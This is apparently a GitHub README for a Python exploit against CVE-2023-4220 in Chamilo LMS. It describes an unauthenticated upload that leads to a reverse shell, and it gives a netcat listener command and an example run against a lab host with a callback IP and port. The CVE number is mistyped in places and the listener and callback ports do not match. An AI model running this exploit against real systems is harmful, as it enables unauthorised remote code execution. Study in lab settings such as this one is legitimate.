hhesenjan/cve-2023-422-chamilo-lms-rcePython exploit for CVE-2023-4220 in Chamilo LMS that uploads a file and delivers an unauthenticated reverse shell to a netcat listener.
pip install requests
The python script uses the vulnerability CVE-2023-422 to upload a file into the server and uses that file to send a reverse shell to the netcat listener and all this can be done without being authenticated. However, you will need to follow the following steps to successfully use the python script.
Start netcat listener:
nc -lnvp 4444
Executing Python Script (Example):
python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445"
Please leave a star if the following exploit was useful :)